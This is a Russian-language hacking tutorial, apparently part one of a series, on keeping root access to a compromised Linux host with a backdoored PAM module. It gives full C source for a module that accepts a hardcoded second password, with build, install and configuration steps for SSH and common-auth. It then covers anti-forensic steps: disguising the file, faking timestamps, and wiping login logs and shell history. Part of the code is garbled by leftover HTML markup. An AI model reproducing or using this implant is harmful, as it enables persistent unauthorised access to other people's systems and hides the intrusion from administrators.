Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!
Привет! В двух статьях мы сфокусируемся на том, как злоумышленники могут использовать модуль PAM для создания backdoor'ов, погрузимся в мир аутентификации, раскроем работу PAM под капотом, научимся скрывать свои следы и, самое главное, реализуем это всё на практике.
И помни,
"Ни одна система не является безопасной." ©MRX
Немножко теории
PAM (Pluggable Authentication Modules) - это набор разделяемых библиотек, которые позволяют интегрировать различные низкоуровневые методы аутентификации в виде единого высокоуровневого API.
PAM используется везде, где требуется аутентификация пользователя или проверка его прав. Например, при подключении через SSH или FTP, а также при повышении привилегий через команду sudo.
Модули PAM находятся в директории lib/security для старых операционных систем типа CentOS и в директории /usr/lib/x86_64-linux-gnu/security для современных ОС вроде последних релизов Ubuntu. Конфигурационные файлы PAM — в директории /etc/pam.d.
Наглядная схема работы PAM:
![](https://habrastorage.org/getpro/habr/upload_files/251/ea1/327/251ea13277cec43e34169855956eef72.png)
Подробнее о PAM можно почитать здесь
Вводная информация
Итак, представим ситуацию: мы скомпрометировали хост, получив УЗ root'a. Безусловно, нам необходимо закрепиться в системе. Способов существует у-у-у-у-йма: от запланированной задачки в cron до руткитов. Но мы захотели повыёбываться выбрали проверенный временем способ: модуль PAM.
У нас есть 2 пути:
Использование готовых решений
Трайхардить ручками
Очевидно, для развития скиллов, выберем вариант под номером 2. Но, если вы ленивый человек, то вам сюда.
Также доступен следующий выбор:
Написать свой модуль (рассмотрен в этой части)
Модифицировать существующий модуль (рассмотрен в следующей части)
Рассмотрим оба способа.
Перейдем к практике
Способ 1. Пишем свой модуль
Итак, в роле целевого хоста будет выступать Kali. В роле атакующего- Xubuntu
![](https://habrastorage.org/getpro/habr/upload_files/538/f41/dd1/538f41dd181a6fcc928fd038c61de264.png)
Если кратко, то нашей целью является дополнительный самописный модуль проверки пароля.
Например, мы хотим "добавить" дополнительный пароль для пользователя root. Пусть его оригинальный пароль - 'kali', а добавленный нами - 'bye'.
В таком случае, пользователь root будет иметь уже 2 пароля. Важно отметить, что новый модуль будет проверять только придуманный нами пароль, будто это дополнительное условие проверки в вашем коде.
Итак, приступим.
Поскольку модули написаны на языке С (редко на С++), то после их написания, необходима их компиляция. Соответственно, файлы имеют расширение *.so. Это значит, что нам тоже нужно будет компилировать наш модуль.
Вот как можно посмотреть стандартные решения:ls /usr/lib/x86_64-linux-gnu/security/
![](https://habrastorage.org/getpro/habr/upload_files/375/ddd/845/375ddd845e1c514ba34c0b6cb3ce984b.png)
Для начала, давайте создадим проект и назовем его test.c, затем поместим в него следующий код:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#define MYPASSWD "bye" //change this
PAM_EXTERN int pam_sm_setcred
(pam_handle_t pamh, int flags, int argc, const char *argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t pamh, int flags, int argc, const char *argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate
(pam_handle_t pamh, int flags,int argc, const char argv) {
char password = NULL;
<span class="token function">pam_get_authtok</span><span class="token punctuation">(</span>pamh<span class="token punctuation">,</span> PAM_AUTHTOK<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&</span>password<span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">strncmp</span><span class="token punctuation">(</span>password<span class="token punctuation">,</span> MYPASSWD<span class="token punctuation">,</span> <span class="token function">strlen</span><span class="token punctuation">(</span>MYPASSWD<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token keyword">return</span> PAM_SUCCESS<span class="token punctuation">;</span>
<span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>
}
Не забывайте поменять придуманный пароль в 7 строке :)
Немножко пробежимся по коду:
• pam_sm_authenticate осуществляет аутентификацию пользователя. Она проверяет предоставленный пользователем пароль и возвращает PAM_SUCCESS в случае успеха.
• pam_sm_acct_mgmt проверяет параметры УЗ пользователя (например, проверка срока действия учетной записи).
• pam_sm_setcred устанавливает удостоверение пользователя (выдача доступа).
Теперь давайте скомпилим наш проект, предварительно установив нужные зависимости и компоненты:
apt install libpam0g-dev
gcc -fPIC -c -o test.o test.c
gcc -shared -o test.so test.o
![](https://habrastorage.org/getpro/habr/upload_files/4ce/d4c/bf8/4ced4cbf86f4e81d5c1b239187c2a173.png)
Переместим к другим файлам:
mv test.so /lib/x86_64-linux-gnu/security/
![](https://habrastorage.org/getpro/habr/upload_files/e4d/538/e20/e4d538e20c2cfa3d7cc93ed25826e264.png)
Теперь давайте подключим наш модуль для авторизации с помощью SSH
Просмотрим содержимое файла /etc/pam.d/sshd
![](https://habrastorage.org/getpro/habr/upload_files/3ec/fd5/2f5/3ecfd52f53421d888ac3e230a321e900.png)
В самом начале видим подключение common-auth, которое нужно будет изменить.
Раньше логика взаимодействия была указана отдельно в каждом конфигурационном файле сервиса, то сейчас в новых версиях Linux используется подключение конфигурационных файлов /etc/pam.d/common-account, /etc/pam.d/common-auth и тд, которые используются в конфигурации pamd других сервисов.
Это даёт нам возможность изменить всего лишь common-auth, при этом закрепившись в ssh, su и т.д.
Давайте так и поступим:
nano /etc/pam.d/common-auth
Было:
![](https://habrastorage.org/getpro/habr/upload_files/1a1/745/9b4/1a17459b4166d8ae74168f16cd7ecd9c.png)
Стало:
![](https://habrastorage.org/getpro/habr/upload_files/cf3/aa5/285/cf3aa5285ff814e4e373b95eb9368f57.png)
systemctl restart ssh
Пробуем подключиться:
ssh root@192.168.56.102
password: kali
success
ssh root@192.168.56.102
password: bye
success
![](https://habrastorage.org/getpro/habr/upload_files/a6b/00b/7ab/a6b00b7abf7bd14dc6fbffce1a66a596.png)
Однако, если вы, по-прежнему, хотите установить бэкдур только для SSH, то можете изменить /etc/pam.d/sshd следующим образом:
![](https://habrastorage.org/getpro/habr/upload_files/d16/0d7/484/d160d74849b009e328f9077e593da467.png)
Здесь мы взяли auth sufficient pam_unix.so nullok
из /etc/pam.d/common-auth
, чтобы не приходилось изменять и его.
Проверка:
• Для пароля bye
:
![](https://habrastorage.org/getpro/habr/upload_files/970/d7e/ea7/970d7eea73ead950b037f90be07c1fab.png)
• Для пароля kali
:
![](https://habrastorage.org/getpro/habr/upload_files/cf7/95d/25b/cf795d25b3a8b590d74bf791cf0f4f71.png)
Как видно, такой вариант увенчался успехом.
Заметаем следы
А теперь давайте замаскируем test.so, изменив его права, название и временные метки
chmod 644 test.so
mv test.so pam_auth.so
Не забываем изменить названия в конфигах с test.so
на pam_auth.so
touch -r /lib/x86_64-linux-gnu/security/pam_rootok.so /lib/x86_64-linux-gnu/security/pam_auth.so
![](https://habrastorage.org/getpro/habr/upload_files/04e/753/4ae/04e7534ae751e333f02edfb21282bd31.png)
Файл успешно замаскирован.
Также не забудем про ранее подредаченные /etc/pam.d/sshd
и /etc/pam.d/common-auth
touch -r /etc/pam.d/sudo /etc/pam.d/sshd
touch -r /etc/pam.d/sudo /etc/pam.d/common-auth
Теперь подчистим логи:
# echo > /var/log/wtmp
echo > /var/log/btmp
echo > /var/log/lastlog
history -r
cat /dev/null > ~/.bash_history
Поздравляю! Вы смогли закрепиться в системе, написав свой модуль.
Для закрепления прочитанного предлагаю посмотреть видеоинструкцию
Вывод
Данный вариант закрепления не является очень надежным способом из-за создания нового файла, который более-менее опытный админ легко найдет. Также мы меняем конфиги, которые тоже можно сравнить с оригинальными. Помимо этого, мы компилили файл на целевом хосте, чего лучше не делать (по-хорошему, если это сервер, то не должно быть возможности компиляции файлов для обеспечения безопасности). Данный способ подойдет в качестве закрепления на хостах, чьи хозяева не являются уверенными пользователями Linux, которые с легкостью заподозрят неладное.
Во второй части рассмотрим более скрытный способ, а также настроим логирование всех пользователей, которые вводят пароль в системе. До скорого :)